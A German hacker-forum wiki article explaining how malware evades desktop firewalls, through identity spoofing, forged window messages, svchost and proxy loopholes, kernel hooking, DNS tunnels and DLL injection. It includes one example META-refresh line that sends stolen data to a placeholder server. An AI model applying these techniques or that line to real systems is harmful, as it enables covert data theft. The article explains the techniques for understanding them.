Desktop Firewall / Applikationszugriffskontrolle umgehen

aus HaBo WiKi, der freien Wissensdatenbank von http://www.hackerboard.de

Wechseln zu: Navigation, Suche

Weder eine konventionelle externe Firewall, noch eine Desktopfirewall stellen einen Sicherheitsmechanismus dar, der nicht über kurz oder lang überwunden werden kann. Bestenfalls lässt sich die Barriere zu einer großen Herausforderung für einen Eindringling gestalten, wobei sich unbestritten die Sicherheitsbarrieren einer Desktopfirewall wegen ihrer lokalen Installation wesentlich leichter überwinden lassen, als bei einer externen Firewall. Allerdings sind viele ihrer Barrieren auf einer externen Home-Firewall, die meist als Firewallrouter in Erscheinung tritt, schlicht nicht vorhanden. Daher bietet die im Internet oft zu lesende Empfehlung, stattdessen einen externen („Hardware-“) Firewallrouter einzusetzen, keine wirkliche Lösung.

Unerwünschte Zugriffe des eigenen Rechners auf das Internet kann ein Firewallrouter kaum verhindern, denn er wurde für eine solche Aufgabe nicht konzipiert; seine Regeln sind nicht Applikationsgebunden. Interessant sollte deshalb die Unterteilung in jene Kategorien sein, die veranschaulichen, welche Attacken sich in welchem Umfang durch eine solche externe Home-Firewall verhindern ließen und welche nicht.

Die Applikationszugriffskontrolle einer Desktopfirewall umgehen

zurück zum Artikel „Angriffsmethoden auf Desktopfirewalls“

Als Entscheidungshilfe gibt die Desktopfirewall scheinbar nützliche Informationen zu dem Programm aus, welches gerade versucht, eine Verbindung zum Netzwerk herzustellen. Die Firewall hat jedoch nicht die Möglichkeit herauszufinden, ob es wirklich das "Windows Subsystem", der "Spoolerdienst" oder die nette "Malware (Schadsoftware) von nebenan" ist, die auf das Netz zugreifen möchte. Sie vertraut einfach den Informationen, welche sie von der anfragenden Applikation erhält. Die Malware kann sich also frech als "Internetexplorer" ausgeben oder von sich behaupten, das "Windows-Subsystem" oder ein ähnlich wichtig klingendes Instrument des Betriebsystems zu sein. Viele Anwender erlauben daraufhin den Netzwerkzugriff.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Die Zugriffsregeln der Desktopfirewall können im ungünstigsten Fall einfach von der Malware überschrieben werden. So ändert sie die Einstellungen dahingehend, dass sie eine Verbindung ins Netz aufbauen darf.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Ein Plugin-Trojaner kann jederzeit eigene Verbindungen zu seinem Server aufbauen, sobald der Browser gestartet wurde. Da die Verbindungsanforderung aus dem Browserprogramm heraus erfolgt, nachdem der Anwender die Netzwerkkommunikation durch die Firewall hindurch erlaubt hat, passiert auch die geheime Verbindung unbemerkt die Firewall. Diese Kommunikation lässt sich leicht vor den Augen des Anwenders verbergen.

Diese Methode gehört zur Sicherheitskategorie 1B.

Die Malware erhascht zunächst z.B. Passworte oder andere, bis dato geheime Daten. Dann erstellt sie eine lokale html-Datei, welche z.B. die folgende Zeile enthält:

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http ://server.xyz/seite.html?die0beliebigen0persoenlichen00Daten>

Nun wird die lokale html-Datei mit dem Standardbrowser geöffnet. Das Problem: Der Standardbrowser hat mit hoher Wahrscheinlichkeit bereits durch den Anwender das Recht erhalten, ungefragt auf das Internet zugreifen zu dürfen. Arbeitet der Browser die Seite ab und gelangt auf die obige Zeile, so kontaktiert er den dort angegebenen Server und übermittelt ihm so die Daten.

Um nicht aufzufallen, kann die Internetseite einen harmlosen Text ausgeben oder sogar versteckt gestartet werden, so dass der Anwender den Zugriff nicht bemerkt. Die Firewall kann den Zugriff nicht verhindern, wenn der Anwender es zuvor irgendwann einmal gestattet hat, dass der Internetbrowser auf das Internet zuzugreifen darf. Sie macht tatsächlich alles richtig und befolgt lediglich die Regeln des Anwenders.

Hinweis: Der Realplayer kommuniziert übrigens auf diese Weise unter Umgehung der Firewall mit dem Internet - natürlich auch dann, wenn die Personal Firewall die "normale" Kommunikation des Realplayers mit dem Internet erkannt und angeblich unterbunden hat.

Diese Methode gehört zur Sicherheitskategorie 1B.

Eine Malware, die im Kernelspace operiert, kann die Applikationszugriffskontrolle einer Desktopfirewall nicht erkennen. Der Grund ist einfach: Die Malware stellt hierbei keinen Prozess dar, sondern einen Thread aus dem Kernelspace.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Eine Desktopfirewall kann 16-Bit Anwendungen nicht voneinander unterscheiden, wenn diese in einer virtuellen (DOS-) Umgebung ablaufen (ntvdm). Das gilt somit für jede 16-Bit Anwendung, wenn sie unter NT, w2k, XP oder neuer gestartet wird. Gibt man also eine dieser Anwendungen für den Netzwerkzugriff frei, so können auch alle anderen 16-Bit Programme ungehindert auf das Netzwerk zugreifen.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Vor einem ähnlichen Problem steht die Desktopfirewall mit dem svchost-Prozess. Er realisiert eine "generische Dienstgruppierung", was im Klartext bedeutet, dass innerhalb eines svchost-Prozesses mehrere Dienste ablaufen. Das wird aus Performancegründen so realisiert, da das System dadurch nicht mehr zwischen unnötig vielen Prozessen wechseln muss. Es kann mehrere svchost-Prozesse geben. Welche Dienste unter welchem svchost-Prozess zusammengefasst werden, lässt sich frei konfigurieren. Eine Malware kann sich über diesen Weg dort ebenfalls ganz legal einklinken. Die Desktopfirewall sieht so die Malware nicht, da sie kein eigener Prozess ist (sie stellt lediglich einen weiteren Thread der jeweiligen svchost.exe dar). Wurde dem betreffenden svchost-Prozess bereits die Kommunikation mit dem Netz gestattet, so kann nun auch die Malware ungehindert mit dem Netzwerk kommunizieren.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Ein weiteres, unfreiwilliges TOR zur Welt stellen die meisten Anonymisierungsdienste dar. Diese werden im Internetbrowser in der Regel als lokaler Proxy eingetragen. Das bedeutet, dass ein Proxyprogramm auf dem eigenen Rechner läuft und dort an einem lokalen Port auf die Anfragen des Internetexplorers wartet. Diese Anfragen schickt das Programm dann weiter in das Internet. Sinn des Programms ist es, persönliche Daten herauszufiltern, welche der Browser ohne den Proxy ins Netz übertragen würde. Der Proxy kann die Anfrage auch an einen (ggf. dynamisch ermittelten) Proxyserver aus dem Internet schicken, um die eigene Absender-IP-Adresse gegenüber dem Ziel zu verbergen. Wird ein vollwertiger Anonymisierungsdienst verwendet, dann verschlüsselt der lokale Proxy sogar alle zu übertragenen Daten und schickt diese zu einem Partnerserver bzw. einem Serververband ins Netz, der die Daten entschlüsselt und zum Ziel geleitet. So kennt nicht einmal der Internetprovider das Ziel, geschweige denn den Inhalt der Datenpakete.

Was für die Anonymität gut ist, stellt für die Desktopfirewall ein großes Problem dar. Die Netzwerkkommunikation wird über einen zentralen Prozess geleitet: Den lokalen Proxy. Die meisten Programme übernehmen nun einfach die Proxyeinstellungen des Standardbrowsers, bevor sie mit dem Internet kommunizieren. Hat der Proxy das Recht erhalten, auf das Netzwerk zuzugreifen, dann wurde damit unbewusst die Internetverbindung für alle Programme erlaubt, welche die Browsereinstellung für sich adoptiert haben.

Diese Methode gehört zur Sicherheitskategorie 1B

Die Verwendung von Fensternachrichten stellt unter Windows ein Problem für Desktopfirewalls dar. Öffnet die Firewall z.B. einen Dialog, um den Anwender zu fragen, ob eine Applikation auf das Netz zugreifen darf oder nicht, so erzeugt der Klick mit der Maus auf die OK-Taste eine Fensternachricht, welche die Firewallapplikation davon in Kenntnis setzt, das der Anwender genau diese Taste betätigt hat. Das Problem: Die Nachricht kann jedes Programm an den Dialog der Firewallapplikation schicken, ohne dass die Firewallapplikation feststellen kann, ob die Nachricht tatsächlich vom Anwender oder einer Fremdapplikation stammt. Eine Malware kann sich auf diese Weise also selbst die Berechtigung zum Netzwerkzugriff erteilen, noch ehe der Anwender interagieren kann. Der Anwender sieht lediglich ein kurzes Aufflackern des Firewalldialoges, was in der Regel aber derart schnell vonstatten geht, dass der Anwender das nicht als Attacke erkennt.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Die Entwickler von Desktopfirewalls lernen von den Tricks diverser Malware. So fangen einige der Firewalls Systemfunktionen ab, die verwendet werden, um eine Applikation aus einer anderen Applikation heraus zu starten. So können sie erkennen, wenn z.B. der Standardbrowser nicht von dem Anwender, sondern aus einer Fremdapplikation heraus gestartet wurde, um eine Verbindung mit dem Internet zu erhalten (ein Verfahren, welches sich u.a. tag-Trojaner zueigen machen). Per Dialog kann der Anwender dies nun erlauben oder verbieten. Diese Technik soll jedoch zwischen dem Aufruf durch eine Fremdapplikation und dem "händischen" Aufruf durch den Anwender unterscheiden, da letzteres ja erlaubt ist und daher keine Warnung erzeugen soll. Genau das kann sich die Malware zunutze machen, um diese Barriere zu umgehen. So erzeugt sie z.B. nacheinander folgende Systemnachrichten:

- Drücken von [Windows-Taste]+[r] zum Öffnen des "Ausführen"-Dialogs
- maschinelle Eingabe des aufzurufenden Programmnamens + [Enter]-Taste

Für die Firewallsoftware erscheint der Programmaufruf so, als ob der Anwender ihn von Hand gestartet hätte. Sie erkennt darin keinen Regelverstoß und lässt den Aufruf ohne Warnung zu. Der Anwender sieht lediglich ein sehr kurzes Aufklappen des Run-Dialogs von Windows.

Diese Methode gehört zur Sicherheitskategorie 1B

Das Programm, welches auf das Netzwerk zugreifen darf, kann durch die Malware infiziert oder gar ausgetauscht werden. Leider gibt es noch immer einige Desktopfirewalls, die eine Infektion nicht zuverlässig genug erkennen.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1B (Schreibrecht auf das Programm vorausgesetzt, sonst 1A) / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Die Fensternachrichten können auch dazu verwendet werden, um einen PC per Internetbrowser komplett fernzusteuern. Ein Beispiel dafür liefert die "wwwsh", welche beim Chaos Seminar des CCC Ulm vorgestellt wurde. Als Kommunikationsinterface lässt sich hier das URL-Fenster verwenden, worin die Malware alle Serveranfragen hineinschreibt und dem Server dadurch Daten übermitteln kann. Als Antwort veranlasst der Server, dass der Browser automatisch auf eine andere URL geleitet wird, wodurch sich die URL-Zeile des Browsers verändert. Die veränderte "Antwort"-Zeile liest die Malware wieder aus und erhält so ihre Anweisungen. Es gibt mehrere Methoden, das Browserfenster zu verstecken, sodass der Anwender keinen Hinweis auf die versteckte Kommunikation erhält. Und wenn der Anwender dem Browser die Erlaubnis erteilt hat, ungefragt mit dem Internet zu kommunizieren, geht diese Kommunikation natürlich durch die Desktopfirewall hindurch.

Diese Methode gehört zur Sicherheitskategorie 1B .

Einige Desktopfirewalls interpretieren die DNS-Anfrage einer Applikation nicht als Netzwerkzugriff, welcher zuvor von dem Anwender erlaubt werden muss. In solchen Fällen kann die Malware auch einen DNS-Tunnel dazu verwenden, um an der Firewall vorbei mit dem Netzwerk zu kommunizieren. Das Tunneln aller anderen Protokolle hingegen hat für sich noch lange keinen Einfluss auf die Funktionstüchtigkeit der Applikationszugriffskontrolle einer Desktopfirewall. Diese muss durch die Malware also noch separat ausgehebelt werden, damit die geheime Netzwerkkommunikation der Desktopfirewall nicht auffällt.

Diese Methode gehört zur Sicherheitskategorie 1B

Wenn es der Prozess versteht, sich aus der Prozessliste des Systems auszuklinken, sieht auch die Desktopfirewall den Prozess nicht. Da die Applikationszugriffskontrolle auf einer Prozesskontrolle basiert, geht im ungünstigsten Fall der Netzwerkzugriff an diesem Feature vorbei. Die Desktopfirewall erkennt also keinen Regelverstoß.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Indem die System Service Dispatch Table modifiziert wird, lässt sich verhindern, dass die Desktopfirewall vom System benachrichtigt wird, wenn ein Netzwerkzugriff erfolgt. Die Malware gaukelt der Desktopfirewall also vor, dass keine Netzaktivität besteht, was zur Folge hat, dass sie den unerlaubten Zugriff nicht bemerkt.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Firewalls sind auf vorgefertigte Systemroutinen angewiesen, wie sie z.B. in der winsock.dll bzw. w32sock.dll zu finden sind. Sie werden u.a. benötigt, um auf den TCP/IP-Stack überwachend zugreifen zu können. Es gibt Malware, welche einfach die relevanten dll’s durch eigene Versionen ersetzen, um die Firewall an ihrer Arbeit zu hindern.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Ähnlich wie bei einem Bootsektorvirus kann sich eine Malware in den MBR schreiben. So wird sie geladen, noch bevor das Betriebssystem gestartet wird. Auch hier ist es ihr möglich, unbemerkt auf das Netzwerk zuzugreifen. Ob und wie sich die Malware parallel zum geladenen Betriebssystem halten kann, hängt davon ab, welches Betriebssystem verwendet wird. Diese Aufgabe ist allerdings nicht ganz trivial. Natürlich wird kaum jemand den Aufwand betreiben, nur um eine Desktopfirewall zu umgehen. Allerdings gibt es solche Ansätze, um Passworte für verschlüsselte Partitionen zu tracen, welche von dem Verschlüsselungsprogramm noch vor dem Start des Betriebssystems abgefragt werden. Es ist wichtig zu wissen, dass eine solche Malware auch in der Lage ist, die geraubten Informationen über das Netz zu übertragen, ohne dass die installierte Desktopfirewall das verhindern kann.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Manchmal ist es möglich, die Applikationszugriffskontrolle einer Desktopfirewall durch das unsanfte Beenden des Moduls einfach auszuhebeln. Die Malware könnte auch den Aufruf des Moduls aus der Registry löschen bzw. durch ähnlich aussehende Programme ersetzen. Zudem lässt sich manchmal das User-Frontends mit dem Dateinamen eines entsprechend präparierten Programms überschreiben.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Es ist auch möglich über angepasste Geräte- oder Filtertreiber eine Kommunikation mit dem Netz aufzubauen, ohne dass sich eine Applikation sichtbar an einen Port bindet. Bildlich gesehen wird ein Bypass für die Netzwerkkommunikation verwendet, was dazu führt, das die Applikationszugriffskontrolle der Desktopfirewall nicht erkennen kann, wer die Pakete sendet oder empfängt. Zudem kann der Kernelthread des (Filter-) Treibers verhindern, dass die Firewall etwas von dem Datentransfer erfährt.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.

K1 (PC->Internet / die Malware arbeitet als Clientapplikation): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)
K2 (Internet->PC / die Malware arbeitet als Serverapplikation): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Des Weiteren kann eine Malware die Netzwerkpakete einer bestehenden Verbindung um Informationen erweitern und erweiterte Informationen auswerten. So ist ein unbemerkter Informationsaustausch mit dem Kommunikationspartner möglich, der an die Firewall vorbeigeht. Dadurch lässt sich die Malware auch durchaus fernsteuern. Der Clou ist, dass die Malware dazu keine eigene Verbindung zum Internetserver aufbauen muss, was ja bereits auffallen könnte. Sie nutzt vielmehr die bestehende Verbindung, welche sie manipuliert. Allerdings ist das auch der große Nachteil dieser oft zitierten Attacke: Die Malware ist darauf angewiesen, dass der Anwender von sich aus eine Verbindung zu genau diesem Kommunikationspartner aufbaut, damit sie aktiv werden kann.

Diese Methode gehört zur Sicherheitskategorie 1B.

DLL Injektion

Eine andere Methode ist es, über dll-Injektion innerhalb eines laufenden Prozesses einen eigenen Thread zu starten. Der Thread läuft sinnbildlich wie ein eigenes Programm im Adressraum des injizierten Prozesses. Die Malware kann so einen Prozess auswählen, der auf das Netz zugreifen darf und unter dem Deckmantel des Prozesses ebenfalls auf das Netz zugreifen. Der Clou: Die Programmdatei des Prozesses wird dabei nicht verändert, so dass ein simpler Quersummencheck noch lange keinen Hinweis auf eine Injektion liefert. Das erscheint logisch, wenn der Thread erst dann durch die Malware injiziert wird, nachdem der Prozess bereits gestartet wurde. Diesen Job erledigt ein zweiter Prozess, welcher unauffällig im Hintergrund läuft, oder aber ein eigens dafür erzeugter Thread, den der Malwareprozess vorzugsweise in einen Systemdienst injiziert, bevor sich die Malware wieder beendet. So läuft die Malware kaum Gefahr, entdeckt zu werden.

Diese Methode gehört zur Sicherheitskategorie 1B / wenn der zu injizierende Prozess jedoch nicht dem Benutzer gehört zur Sicherheitskategorie 1A.

Einige Desktopfirewalls versuchen die dll-Injektion anhand von bestimmten Funktionsaufrufen zu erkennen (z.B. OpenProcess, VirtuallAllocEx, WriteProcessMemory, CreateRemoteThread, etc.). Dazu wird die passende API gehookt und somit auf die eigene Funktion gelenkt, welche eine höchst eigene Zugriffskontrolle realisiert und bei einem Regelverstoß Alarm auslöst, sowie die Injektion unterbindet. Die Malware kann sich der Kontrolle entziehen, wenn sie die originalen Funktionsadressen direkt anspringt. Dadurch wird die umgeleitete Funktion der Desktopfirewall nicht aufgerufen, weshalb der Zugriff nicht bemerkt wird. Für die Malware wirkt sich diese Methode allerdings nachteilig aus, wenn sich durch ein Betriebssystemupdate die System-dll der verwendeten APIs und damit die ersehnte Einsprungadresse ändern sollte.

Diese Methode gehört zur Sicherheitskategorie 1B.

dll-Injektion lässt sich auch durch das Verändern der Programmdatei realisieren. Der Vorteil für die Malware ist, dass es keines zweiten Prozesses bedarf, der die Programmdatei erst dann mit der dll injiziert, wenn das Programm bereits läuft. Auch werden die ggf. überwachten API-Funktionen der indirekten dll-Injektion nicht mehr benötigt. Der Nachteil ist, dass die Veränderung der Programmdatei auffällig ist und nicht nur viele Desktopfirewalls, sondern auch verschiedene Virenscanner auf das Verändern von exe-Code allarmierend reagieren.

Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die anzupassende Programmdatei hat, gehört die Methode zur Sicherheitskategorie 1A.

Natürlich lässt sich auch durch den Austausch einer von dem Programm beanspruchten dll eine Injektion des eigenen Malware-Threads realisieren.

Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die dll-Datei hat, gehört die Methode zur Sicherheitskategorie 1A.

Unter Windows lässt sich eine dll-Injektion auch durch die simple Änderung eines Registryeintrags realisieren, welcher bewirkt, dass bei jedem Start einer Applikation auch eine bestimmte dll in deren Prozessraum geladen wird.

Diese Methode gehört zur Sicherheitskategorie 1A.